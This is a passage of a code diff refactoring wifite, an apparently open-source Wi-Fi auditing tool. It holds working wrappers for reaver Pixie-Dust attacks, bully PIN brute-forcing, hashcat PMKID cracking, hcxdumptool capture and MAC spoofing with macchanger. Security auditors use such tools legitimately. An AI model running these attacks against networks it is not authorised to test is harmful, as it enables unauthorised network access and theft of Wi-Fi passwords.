+        # Fetches PSK from a Target assuming "pin" is the correct PIN
         '''
         bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon
         PIN   : '01030365'
@@ -229,8 +291,6 @@ class Bully(Attack):
         BSSID : '34:21:09:01:92:7c'
         ESSID : 'AirLink89300'
         '''
-        Color.pl('\n{+} found PIN: {G}%s{W}' % pin)
-        Color.p('{+} fetching {C}PSK{W} using {C}bully{W}... ')
         cmd = [
             'bully',
             '--channel', target.channel,
@@ -247,12 +307,11 @@ class Bully(Attack):
             key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
             if key_re is not None:
                 psk = key_re.group(1)
-                Color.pl('{W}found PSK: {G}%s{W}' % psk)
                 return psk
 
-        Color.pl('{R}failed{W}')
         return None
 
+
 if __name__ == '__main__':
     Configuration.initialize()
     Configuration.interface = 'wlan0mon'

wifite/tools/dependency.py

@@ -0,0 +1,74 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+class Dependency(object):
+    required_attr_names = ['dependency_name', 'dependency_url', 'dependency_required']
+
+    # https://stackoverflow.com/a/49024227
+    def __init_subclass__(cls):
+        for attr_name in cls.required_attr_names:
+            if not attr_name in cls.__dict__:
+                raise NotImplementedError(
+                    "Attribute '{}' has not been overridden in class '{}'" \
+                    .format(attr_name, cls.__name__)
+                )
+
+
+    @classmethod
+    def run_dependency_check(cls):
+        from ..util.color import Color
+
+        from .airmon import Airmon
+        from .airodump import Airodump
+        from .aircrack import Aircrack
+        from .aireplay import Aireplay
+        from .ifconfig import Ifconfig
+        from .iwconfig import Iwconfig
+        from .bully import Bully
+        from .reaver import Reaver
+        from .wash import Wash
+        from .pyrit import Pyrit
+        from .tshark import Tshark
+        from .macchanger import Macchanger
+        from .hashcat import Hashcat, HcxDumpTool, HcxPcapTool
+
+        apps = [
+                # Aircrack
+                Aircrack, #Airodump, Airmon, Aireplay,
+                # wireless/net tools
+                Iwconfig, Ifconfig,
+                # WPS
+                Reaver, Bully,
+                # Cracking/handshakes
+                Pyrit, Tshark,
+                # Hashcat
+                Hashcat, HcxDumpTool, HcxPcapTool,
+                # Misc
+                Macchanger
+            ]
+
+        missing_required = any([app.fails_dependency_check() for app in apps])
+
+        if missing_required:
+            Color.pl('{!} {R}required app(s) were not found, exiting.{W}')
+            import sys
+            sys.exit(-1)
+
+
+    @classmethod
+    def fails_dependency_check(cls):
+        from ..util.color import Color
+        from ..util.process import Process
+
+        if Process.exists(cls.dependency_name):
+            return False
+
+        if cls.dependency_required:
+            Color.pp('{!} {R}error: required app {O}%s{R} was not found' % cls.dependency_name)
+            Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url)
+            return True
+
+        else:
+            Color.p('{!} {O}warning: recommended app {R}%s{O} was not found' % cls.dependency_name)
+            Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url)
+            return False

wifite/tools/hashcat.py

@@ -0,0 +1,132 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+from .dependency import Dependency
+from ..config import Configuration
+from ..util.process import Process
+from ..util.color import Color
+
+import os
+
+
+class Hashcat(Dependency):
+    dependency_required = False
+    dependency_name = 'hashcat'
+    dependency_url = 'https://hashcat.net/hashcat/'
+
+    @staticmethod
+    def crack_pmkid(pmkid_file):
+        '''
+        Cracks a given pmkid_file using the PMKID/WPA2 attack (-m 16800)
+        Returns:
+            Key (str) if found; `None` if not found.
+        '''
+
+        # Run hashcat once normally, then with --show if it failed
+        # To catch cases where the password is already in the pot file.
+        for additional_arg in [ [], ['--show']]:
+            command = [
+                'hashcat',
+                '--force',
+                '--quiet',      # Only output the password if found.
+                '-m', '16800',  # WPA-PMKID-PBKDF2
+                '-a', '0',      # TODO: Configure
+                '-w', '2',      # TODO: Configure
+                pmkid_file,
+                Configuration.wordlist
+            ]
+            command.extend(additional_arg)
+
+            # TODO: Check status of hashcat (%); it's impossible with --quiet
+
+            try:
+                hashcat_proc = Process(command)
+                hashcat_proc.wait()
+                stdout = hashcat_proc.stdout()
+            except KeyboardInterrupt:  # In case user gets impatient
+                Color.pl('\n{!} {O}Interrupted hashcat cracking{W}')
+                stdout = ''
+
+            if ':' not in stdout:
+                # Failed
+                continue
+            else:
+                # Cracked
+                key = stdout.strip().split(':', 1)[1]
+                return key
+
+
+class HcxDumpTool(Dependency):
+    dependency_required = False
+    dependency_name = 'hcxdumptool'
+    dependency_url = 'https://github.com/ZerBea/hcxdumptool'
+
+    def __init__(self, target, pcapng_file):
+        # Create filterlist
+        filterlist = Configuration.temp('pmkid.filterlist')
+        with open(filterlist, 'w') as filter_handle:
+            filter_handle.write(target.bssid.replace(':', ''))
+
+        if os.path.exists(pcapng_file):
+            os.remove(pcapng_file)
+
+        command = [
+            "hcxdumptool",
+            "-i", Configuration.interface,
+            "--filterlist", filterlist,
+            "--filtermode", "2",
+            "-c", str(target.channel),
+            "-o", pcapng_file
+        ]
+
+        self.proc = Process(command)
+
+    def poll(self):
+        return self.proc.poll()
+
+    def interrupt(self):
+        self.proc.interrupt()
+
+
+class HcxPcapTool(Dependency):
+    dependency_required = False
+    dependency_name = 'hcxpcaptool'
+    dependency_url = 'https://github.com/ZerBea/hcxtools'
+
+    def __init__(self, target):
+        self.target = target
+        self.bssid = self.target.bssid.lower().replace(':', '')
+        self.pmkid_file = Configuration.temp('pmkid-%s.16800' % self.bssid)
+
+    def get_pmkid_hash(self, pcapng_file):
+        if os.path.exists(self.pmkid_file):
+            os.remove(self.pmkid_file)
+
+        command = [
+            'hcxpcaptool',
+            '-z', self.pmkid_file,
+            pcapng_file
+        ]
+        hcxpcap_proc = Process(command)
+        hcxpcap_proc.wait()
+
+        if not os.path.exists(self.pmkid_file):
+            return None
+
+        with open(self.pmkid_file, 'r') as f:
+            output = f.read()
+            # Each line looks like:
+            # hash*bssid*station*essid
+
+        # Note: The dumptool will record *anything* it finds, ignoring the filterlist.
+        # Check that we got the right target (filter by BSSID)
+        matching_pmkid_hash = None
+        for line in output.split('\n'):
+            fields = line.split('*')
+            if len(fields) >= 3 and fields[1].lower() == self.bssid:
+                # Found it
+                matching_pmkid_hash = line
+                break
+
+        os.remove(self.pmkid_file)
+        return matching_pmkid_hash

wifite/tools/ifconfig.py

@@ -0,0 +1,61 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import re
+
+from .dependency import Dependency
+
+class Ifconfig(Dependency):
+    dependency_required = True
+    dependency_name = 'ifconfig'
+    dependency_url = 'apt-get install net-tools'
+
+    @classmethod
+    def up(cls, interface, args=[]):
+        '''Put interface up'''
+        from ..util.process import Process
+
+        command = ['ifconfig', interface]
+        if type(args) is list:
+            command.extend(args)
+        elif type(args) is 'str':
+            command.append(args)
+        command.append('up')
+
+        pid = Process(command)
+        pid.wait()
+        if pid.poll() != 0:
+            raise Exception('Error putting interface %s up:\n%s\n%s' % (interface, pid.stdout(), pid.stderr()))
+
+
+    @classmethod
+    def down(cls, interface):
+        '''Put interface down'''
+        from ..util.process import Process
+
+        pid = Process(['ifconfig', interface, 'down'])
+        pid.wait()
+        if pid.poll() != 0:
+            raise Exception('Error putting interface %s down:\n%s\n%s' % (interface, pid.stdout(), pid.stderr()))
+
+
+    @classmethod
+    def get_mac(cls, interface):
+        from ..util.process import Process
+
+        output = Process(['ifconfig', interface]).stdout()
+
+        # Mac address separated by dashes
+        mac_dash_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
+        match = re.search(' ({})'.format(mac_dash_regex), output)
+        if match:
+            return match.group(1).replace('-', ':')
+
+        # Mac address separated by colons
+        mac_colon_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
+        match = re.search(' ({})'.format(mac_colon_regex), output)
+        if match:
+            return match.group(1)
+
+        raise Exception('Could not find the mac address for %s' % interface)
+

wifite/tools/iwconfig.py

@@ -0,0 +1,54 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+from .dependency import Dependency
+
+class Iwconfig(Dependency):
+    dependency_required = True
+    dependency_name = 'iwconfig'
+    dependency_url = 'apt-get install wireless-tools'
+
+    @classmethod
+    def exists(cls):
+        from ..util.process import Process
+        return Process.exists('iwconfig')
+
+
+    @classmethod
+    def mode(cls, iface, mode_name):
+        from ..util.process import Process
+
+        pid = Process(['iwconfig', iface, 'mode', mode_name])
+        pid.wait()
+
+        return pid.poll()
+
+
+    @classmethod
+    def get_interfaces(cls, mode=None):
+        from ..util.process import Process
+
+        interfaces = set()
+        iface = ''
+
+        (out, err) = Process.call('iwconfig')
+        for line in out.split('\n'):
+            if len(line) == 0: continue
+
+            if not line.startswith(' '):
+                iface = line.split(' ')[0]
+                if '\t' in iface:
+                    iface = iface.split('\t')[0].strip()
+
+                iface = iface.strip()
+                if len(iface) == 0:
+                    continue
+
+                if mode is None:
+                    interfaces.add(iface)
+
+            if mode is not None and 'Mode:{}'.format(mode) in line and len(iface) > 0:
+                interfaces.add(iface)
+
+        return list(interfaces)
+

wifite/tools/macchanger.py

@@ -1,82 +1,89 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
-from ..model.interface import Interface
+from .dependency import Dependency
+from ..tools.ifconfig import Ifconfig
 from ..util.color import Color
 
-class Macchanger(object):
-    is_init = False
+class Macchanger(Dependency):
+    dependency_required = False
+    dependency_name = 'macchanger'
+    dependency_url = 'apt-get install macchanger'
+
     is_changed = False
-    original_mac = None
 
     @classmethod
-    def init(cls):
-        if cls.is_init: return
-        from ..config import Configuration
-        iface = Configuration.interface
-        if type(iface) == Interface:
-            iface = iface.name
-        cls.original_mac = Interface.get_mac(iface)
-
-    @classmethod
-    def down_macch_up(cls, macch_option):
-        cls.init()
+    def down_macch_up(cls, iface, options):
+        '''Put interface down, run macchanger with options, put interface up'''
         from ..util.process import Process
-        from ..config import Configuration
-        iface = Configuration.interface
 
-        cmd = ["ifconfig", iface, "down"]
         Color.clear_entire_line()
-        Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." % iface)
-        ifdown = Process(cmd)
-        ifdown.wait()
-        if ifdown.poll() != 0:
-            Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
-            Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr()))
-            return False
+        Color.p('\r{+} {C}macchanger{W}: taking interface {C}%s{W} down...' % iface)
+
+        Ifconfig.down(iface)
 
-        cmd = ["macchanger", macch_option, iface]
         Color.clear_entire_line()
-        Color.p("\r{+} {C}macchanger{W}: Changing MAC address of interface {C}%s{W}..." % iface)
-        macch = Process(cmd)
+        Color.p('\r{+} {C}macchanger{W}: changing mac address of interface {C}%s{W}...' % iface)
+
+        command = ['macchanger']
+        command.extend(options)
+        command.append(iface)
+        macch = Process(command)
         macch.wait()
         if macch.poll() != 0:
-            Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
-            Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr()))
+            Color.pl('\n{!} {R}macchanger{O}: error running {R}%s{O}' % ' '.join(command))
+            Color.pl('{!} {R}output: {O}%s, %s{W}' % (macch.stdout(), macch.stderr()))
             return False
 
-        cmd = ["ifconfig", iface, "up"]
         Color.clear_entire_line()
-        Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." % iface)
-        ifup = Process(cmd)
-        ifup.wait()
-        if ifup.poll() != 0:
-            Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
-            Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr()))
-            return False
+        Color.p('\r{+} {C}macchanger{W}: bringing interface {C}%s{W} up...' % iface)
+
+        Ifconfig.up(iface)
+
         return True
 
+
+    @classmethod
+    def get_interface(cls):
+        # Helper method to get interface from configuration
+        from ..config import Configuration
+        return Configuration.interface
+
+
     @classmethod
     def reset(cls):
-        # --permanent to reset to permanent MAC address
-        if not cls.down_macch_up("-p"): return
-        Color.pl("\r{+} {C}macchanger{W}: Resetting MAC address...")
-        from ..config import Configuration
-        new_mac = Interface.get_mac(Configuration.interface)
-        Color.clear_entire_line()
-        Color.pl("\r{+} {C}macchanger{W}: Reset MAC address back to {C}%s{W}" % new_mac)
+        iface = cls.get_interface()
+        Color.pl('\r{+} {C}macchanger{W}: resetting mac address on %s...' % iface)
+        # -p to reset to permanent MAC address
+        if cls.down_macch_up(iface, ['-p']):
+            new_mac = Ifconfig.get_mac(iface)
+
+            Color.clear_entire_line()
+            Color.pl('\r{+} {C}macchanger{W}: reset mac address back to {C}%s{W} on {C}%s{W}' % (new_mac, iface))
+
 
     @classmethod
     def random(cls):
-        # Use --permanent to use random MAC address
-        if not cls.down_macch_up("-r"): return
-        cls.is_changed = True
-        from ..config import Configuration
-        new_mac = Interface.get_mac(Configuration.interface)
-        Color.clear_entire_line()
-        Color.pl("\r{+} {C}macchanger{W}: Changed MAC address to {C}%s{W}" % new_mac)
+        from ..util.process import Process
+        if not Process.exists('macchanger'):
+            Color.pl('{!} {R}macchanger: {O}not installed')
+            return
+
+        iface = cls.get_interface()
+        Color.pl('\n{+} {C}macchanger{W}: changing mac address on {C}%s{W}' % iface)
+
+        # -r to use random MAC address
+        # -e to keep vendor bytes the same
+        if cls.down_macch_up(iface, ['-e']):
+            cls.is_changed = True
+            new_mac = Ifconfig.get_mac(iface)
+
+            Color.clear_entire_line()
+            Color.pl('\r{+} {C}macchanger{W}: changed mac address to {C}%s{W} on {C}%s{W}' % (new_mac, iface))
+
 
     @classmethod
     def reset_if_changed(cls):
-        if not cls.is_changed: return
-        cls.reset()
+        if cls.is_changed:
+            cls.reset()
+

wifite/tools/pyrit.py

@@ -1,11 +1,15 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
 from ..util.process import Process
 import re
 
-class Pyrit(object):
+class Pyrit(Dependency):
     ''' Wrapper for Pyrit program. '''
+    dependency_required = False
+    dependency_name = 'pyrit'
+    dependency_url = 'https://github.com/JPaulMora/Pyrit/wiki'
 
     def __init__(self):
         pass

wifite/tools/reaver.py

@@ -1,171 +1,247 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
+from .airodump import Airodump
+from .bully import Bully # for PSK retrieval
 from ..model.attack import Attack
 from ..config import Configuration
 from ..util.color import Color
 from ..util.process import Process
-from ..tools.airodump import Airodump
-from ..tools.bully import Bully # for PSK retrieval
+from ..util.timer import Timer
 from ..model.wps_result import CrackResultWPS
 
 import os, time, re
 
-class Reaver(Attack):
+class Reaver(Attack, Dependency):
+    dependency_required = False
+    dependency_name = 'reaver'
+    dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x'
+
     def __init__(self, target):
         super(Reaver, self).__init__(target)
-        self.success = False
+
+        self.start_time = None
+        self.state = 'Initializing'
+        self.locked = False
+        self.total_timeouts = 0
+        self.total_wpsfails = 0
+
         self.crack_result = None
 
+        self.output_filename = Configuration.temp('reaver.out')
+        if os.path.exists(self.output_filename):
+            os.remove(self.output_filename)
+
+        self.output_write = open(self.output_filename, 'a')
+
+        self.reaver_cmd = [
+            'reaver',
+            '--interface',  Configuration.interface,
+            '--bssid',      self.target.bssid,
+            '--channel',    self.target.channel,
+            '--pixie-dust', '1',         # pixie-dust attack
+            '--session',    '/dev/null', # Don't restart session
+            '-vv'                        # (very) verbose
+        ]
+
+        self.reaver_proc = None
+
     def is_pixiedust_supported(self):
         ''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
         output = Process(['reaver', '-h']).stderr()
         return '--pixie-dust' in output
 
-    def run_pixiedust_attack(self):
-        # Write reaver stdout to file.
-        self.stdout_file = Configuration.temp('reaver.out')
-        if os.path.exists(self.stdout_file):
-            os.remove(self.stdout_file)
+    def run(self):
+        ''' Returns True if attack is successful. '''
+        try:
+            self._run() # Run-loop
+        except Exception as e:
+            # Failed with error
+            self.pattack('{R}Failed:{O} %s' % str(e), newline=True)
+            return self.crack_result is not None
 
-        command = [
-            'reaver',
-            '--interface', Configuration.interface,
-            '--bssid', self.target.bssid,
-            '--channel', self.target.channel,
-            '--pixie-dust', '1', # pixie-dust attack
-            '--timeout', '4', # Stop waiting after 4 seconds
-            #'--delay', '0',
-            #'--no-nacks',
-            '--session', '/dev/null', # Don't restart session
-            '-vv' # (very) verbose
-        ]
-        stdout_write = open(self.stdout_file, 'a')
-        reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
+        # Stop reaver if it's still running
+        if self.reaver_proc.poll() is None:
+            self.reaver_proc.interrupt()
 
-        pin = None
-        step = 'initializing'
-        time_since_last_step = 0
+        # Clean up open file handle
+        if self.output_write:
+            self.output_write.close()
+
+        return self.crack_result is not None
+
+
+    def _run(self):
+        self.start_time = time.time()
 
         with Airodump(channel=self.target.channel,
                       target_bssid=self.target.bssid,
                       skip_wps=True,
                       output_file_prefix='pixie') as airodump:
 
-            Color.clear_line()
-            Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")
+            # Wait for target
+            self.pattack("Waiting for target to appear...")
+            self.target = self.wait_for_target(airodump)
 
-            while True:
-                try:
-                    airodump_target = self.wait_for_target(airodump)
-                except Exception as e:
-                    Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
+            # Start reaver
+            self.reaver_proc = Process(self.reaver_cmd,
+                    stdout=self.output_write,
+                    stderr=Process.devnull())
+
+            # Loop while reaver is running
+            while self.crack_result is None and self.reaver_proc.poll() is None:
+
+                # Refresh target information (power)
+                self.target = self.wait_for_target(airodump)
+
+                # Update based on reaver output
+                stdout = self.get_output()
+                self.state = self.parse_state(stdout)
+                self.parse_failure(stdout)
+
+                # Print status line
+                self.pattack(self.get_status())
+
+                # Check if we cracked it
+                self.crack_result = self.parse_crack_result(stdout)
+
+                time.sleep(0.5)
+
+            # Check if crack result is in output
+            stdout = self.get_output()
+            self.crack_result = self.parse_crack_result(stdout)
+
+            # Show any failures found
+            if self.crack_result is None:
+                self.parse_failure(stdout)
+
+            if self.crack_result is None and self.reaver_proc.poll() is not None:
+                raise Exception('Reaver process stopped (exit code: %s)' % self.reaver_proc.poll())
+
+
+    def get_status(self):
+        main_status = self.state
+
+        meta_statuses = []
+        if self.total_timeouts > 0:
+            meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts)
+
+        if self.total_wpsfails > 0:
+            meta_statuses.append("{O}WPSFail:%d{W}" % self.total_wpsfails)
+
+        if self.locked:
+            meta_statuses.append("{R}Locked{W}")
+
+        if len(meta_statuses) > 0:
+            main_status += ' (%s)' % ', '.join(meta_statuses)
+
+        return main_status
+
+
+    def parse_crack_result(self, stdout):
+        if self.crack_result is not None:
+            return self.crack_result
+
+        (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
+
+        # Check if we cracked it, or if process stopped.
+        if pin is not None:
+            # We cracked it.
+
+            if psk is not None:
+                # Reaver provided PSK
+                self.pattack('{G}Cracked WPS PIN: {C}%s{W} {G}PSK: {C}%s{W}' % (pin, psk), newline=True)
+            else:
+                self.pattack('{G}Cracked WPS PIN: {C}%s' % pin, newline=True)
+
+                # Try to derive PSK from PIN using Bully
+                self.pattack('{W}Retrieving PSK using {C}bully{W}...')
+                psk = Bully.get_psk_from_pin(self.target, pin)
+                if psk is None:
                     Color.pl("")
-                    return False
-
-                stdout_write.flush()
-
-                # Check output from reaver process
-                stdout = self.get_stdout()
-                stdout_last_line = stdout.split('\n')[-1]
-
-                (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
-
-                # Check if we cracked it, or if process stopped.
-                if pin is not None or reaver.poll() is not None:
-                    reaver.interrupt()
-
-                    # Check one-last-time for PIN/PSK/SSID, in case of race condition.
-                    stdout = self.get_stdout()
-                    (pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout)
-
-                    # Check if we cracked it.
-                    if pin is not None:
-                        # We cracked it.
-
-                        if psk is None:
-                            # Try to derive PSK from PIN using Bully
-                            psk = Bully.get_psk_from_pin(self.target, pin)
-
-                        bssid = self.target.bssid
-                        Color.clear_entire_line()
-                        if psk is None:
-                            Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN{W} (but not PSK)")
-                        else:
-                            Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
-                        Color.pl("")
-                        self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
-                        self.crack_result.dump()
-                        return True
-                    else:
-                        # Failed to crack, reaver proces ended.
-                        Color.clear_line()
-                        Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
-                        return False
-
-                if 'WPS pin not found' in stdout:
-                    Color.pl('{R}failed: {O}WPS pin not found{W}')
-                    break
-
-                last_step = step
-                # Status updates, depending on last line of stdout
-                if 'Waiting for beacon from' in stdout_last_line:
-                    step = '({C}step 1/8{W}) waiting for beacon'
-                elif 'Associated with' in stdout_last_line:
-                    step = '({C}step 2/8{W}) waiting to start session'
-                elif 'Starting Cracking Session.' in stdout_last_line:
-                    step = '({C}step 3/8{W}) waiting to try pin'
-                elif 'Trying pin' in stdout_last_line:
-                    step = '({C}step 4/8{W}) trying pin'
-                elif 'Sending EAPOL START request' in stdout_last_line:
-                    step = '({C}step 5/8{W}) sending eapol start request'
-                elif 'Sending identity response' in stdout_last_line:
-                    step = '({C}step 6/8{W}) sending identity response'
-                elif 'Sending M2 message' in stdout_last_line:
-                    step = '({C}step 7/8{W}) sending m2 message (may take a while)'
-                elif 'Detected AP rate limiting,' in stdout_last_line:
-                    if Configuration.wps_skip_rate_limit:
-                        Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
-                        Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
-                                 ' this kind of failure in the future{W}')
-                        break
-                    step = '({C}step -/8{W}) waiting for AP rate limit'
-
-                if step != last_step:
-                    # Step changed, reset step timer
-                    time_since_last_step = 0
+                    self.pattack('{R}Failed {O}to get PSK using bully', newline=True)
                 else:
-                    time_since_last_step += 1
+                    self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True)
 
-                if time_since_last_step > Configuration.wps_pixie_step_timeout:
-                    Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
-                    break
+            crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
+            crack_result.dump()
+            return crack_result
 
-                # TODO: Timeout check
-                if reaver.running_time() > Configuration.wps_pixie_timeout:
-                    Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
-                    break
+        return None
 
-                # Reaver Failure/Timeout check
-                fail_count = stdout.count('WPS transaction failed')
-                if fail_count > Configuration.wps_fail_threshold:
-                    Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
-                    break
-                timeout_count = stdout.count('Receive timeout occurred')
-                if timeout_count > Configuration.wps_timeout_threshold:
-                    Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
-                    break
 
-                Color.clear_line()
-                Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
+    def parse_failure(self, stdout):
+        # Total failure
+        if 'WPS pin not found' in stdout:
+            raise Exception('Reaver says "WPS pin not found"')
 
-                time.sleep(1)
-                continue
+        # Running-time failure
+        if self.running_time() > Configuration.wps_pixie_timeout:
+            raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout)
+
+        # WPSFail count
+        self.total_wpsfails = stdout.count('WPS transaction failed')
+        if self.total_wpsfails >= Configuration.wps_fail_threshold:
+            raise Exception('Too many failures (%d)' % self.total_wpsfails)
+
+        # Timeout count
+        self.total_timeouts = stdout.count('Receive timeout occurred')
+        if self.total_timeouts >= Configuration.wps_timeout_threshold:
+            raise Exception('Too many timeouts (%d)' % self.total_timeouts)
+
+
+    def parse_state(self, stdout):
+        state = self.state
+
+        stdout_last_line = stdout.split('\n')[-1]
+
+        if 'Waiting for beacon from' in stdout_last_line:
+            state = 'Waiting for beacon'
+
+        elif 'Associated with' in stdout_last_line:
+            state = 'Associated'
+
+        elif 'Starting Cracking Session.' in stdout_last_line:
+            state = 'Waiting to try PIN'
+
+        elif 'Trying pin' in stdout_last_line:
+            state = 'Trying PIN'
+
+        elif 'Sending EAPOL START request' in stdout_last_line:
+            state = 'Sending EAPOL Start request'
+
+        elif 'Sending identity response' in stdout_last_line:
+            state = 'Sending identity response'
+            self.locked = False
+
+        elif 'Sending M2 message' in stdout_last_line:
+            state = 'Sending M2 / Running pixiewps'
+            self.locked = False
+
+        elif 'Detected AP rate limiting,' in stdout_last_line:
+            state = 'Rate-Limited by AP'
+            self.locked = True
+
+        return state
+
+
+    def pattack(self, message, newline=False):
+        # Print message with attack information.
+        time_left = Configuration.wps_pixie_timeout - self.running_time()
+
+        Color.clear_entire_line()
+        Color.pattack("WPS",
+                self.target,
+                'Pixie-Dust',
+                '{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
+        if newline:
+            Color.pl("")
+
+
+    def running_time(self):
+        return int(time.time() - self.start_time)
 
-        # Attack failed, already printed reason why
-        reaver.interrupt()
-        stdout_write.close()
-        return False
 
     @staticmethod
     def get_pin_psk_ssid(stdout):
@@ -199,12 +275,21 @@ class Reaver(Attack):
 
         return (pin, psk, ssid)
 
-    def get_stdout(self):
-        ''' Gets output from stdout_file '''
-        if not self.stdout_file:
+
+    def get_output(self):
+        ''' Gets output from reaver's output file '''
+        if not self.output_filename:
             return ''
-        with open(self.stdout_file, 'r') as fid:
+
+        if self.output_write:
+            self.output_write.flush()
+
+        with open(self.output_filename, 'r') as fid:
             stdout = fid.read()
+
+        if Configuration.verbose > 1:
+            Color.pe('\n{P} [reaver:stdout] %s' % '\n [reaver:stdout] '.join(stdout.split('\n')))
+
         return stdout.strip()
 
 

wifite/tools/tshark.py

@@ -1,11 +1,15 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
 from ..util.process import Process
 import re
 
-class Tshark(object):
+class Tshark(Dependency):
     ''' Wrapper for Tshark program. '''
+    dependency_required = False
+    dependency_name = 'tshark'
+    dependency_url = 'apt-get install wireshark'
 
     def __init__(self):
         pass
@@ -157,7 +161,7 @@ class Tshark(object):
         '''
 
         if not Tshark.exists():
-            raise Exception('Cannot detect WPS networks: Tshark does not exist')
+            raise ValueError('Cannot detect WPS networks: Tshark does not exist')
 
         command = [
             'tshark',

wifite/tools/wash.py

@@ -1,11 +1,15 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
 from ..util.process import Process
 import json
 
-class Wash(object):
+class Wash(Dependency):
     ''' Wrapper for Wash program. '''
+    dependency_required = False
+    dependency_name = 'wash'
+    dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x'
 
     def __init__(self):
         pass

wifite/util/color.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 import sys
@@ -31,9 +31,9 @@ class Color(object):
     @staticmethod
     def p(text):
         '''
-            Prints text using colored format on same line.
-            Example:
-                Color.p("{R}This text is red. {W} This text is white")
+        Prints text using colored format on same line.
+        Example:
+            Color.p("{R}This text is red. {W} This text is white")
         '''
         sys.stdout.write(Color.s(text))
         sys.stdout.flush()
@@ -45,17 +45,13 @@ class Color(object):
 
     @staticmethod
     def pl(text):
-        '''
-            Prints text using colored format with trailing new line.
-        '''
+        '''Prints text using colored format with trailing new line.'''
         Color.p('%s\n' % text)
         Color.last_sameline_length = 0
 
     @staticmethod
     def pe(text):
-        '''
-            Prints text using colored format with leading and trailing new line to STDERR.
-        '''
+        '''Prints text using colored format with leading and trailing new line to STDERR.'''
         sys.stderr.write(Color.s('%s\n' % text))
         Color.last_sameline_length = 0
 
@@ -85,14 +81,14 @@ class Color(object):
     @staticmethod
     def pattack(attack_type, target, attack_name, progress):
         '''
-            Prints a one-liner for an attack
-            Includes attack type (WEP/WPA), target BSSID/ESSID & power, attack type, and progress
-            [name] ESSID (MAC @ Pwr) Attack_Type: Progress
-            e.g.: [WEP] Router2G (00:11:22 @ 23db) replay attack: 102 IVs
+        Prints a one-liner for an attack.
+        Includes attack type (WEP/WPA), target ESSID & power, attack type, and progress.
+        ESSID (Pwr) Attack_Type: Progress
+        e.g.: Router2G (23db) WEP replay attack: 102 IVs
         '''
         essid = "{C}%s{W}" % target.essid if target.essid_known else "{O}unknown{W}"
-        Color.p("\r{+} {G}%s{W} ({C}%s @ %sdb{W}) {G}%s {C}%s{W}: %s " % (
-            essid, target.bssid, target.power, attack_type, attack_name, progress))
+        Color.p("\r{+} {G}%s{W} ({C}%sdb{W}) {G}%s {C}%s{W}: %s " % (
+            essid, target.power, attack_type, attack_name, progress))
 
 if __name__ == '__main__':
     Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done")

wifite/util/crack.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 from ..util.process import Process
@@ -14,6 +14,8 @@ import os
 class CrackHandshake(object):
     def __init__(self):
         self.wordlist = Configuration.wordlist or "path_to_wordlist_here"
+        if os.path.exists(self.wordlist):
+            self.wordlist = os.path.abspath(self.wordlist)
 
         handshake = self.choose_handshake()
         self.crack_handshake(handshake)
@@ -49,16 +51,18 @@ class CrackHandshake(object):
 
     def print_john(self, cap_file):
         Color.pl("")
-        if not Process.exists("john"):
-            Color.pl("  {R}john not found.");
-            Color.pl("  {O}More info on installing {R}John The Ripper{O} here: {C}http://www.openwall.com/john/{W}");
-            return
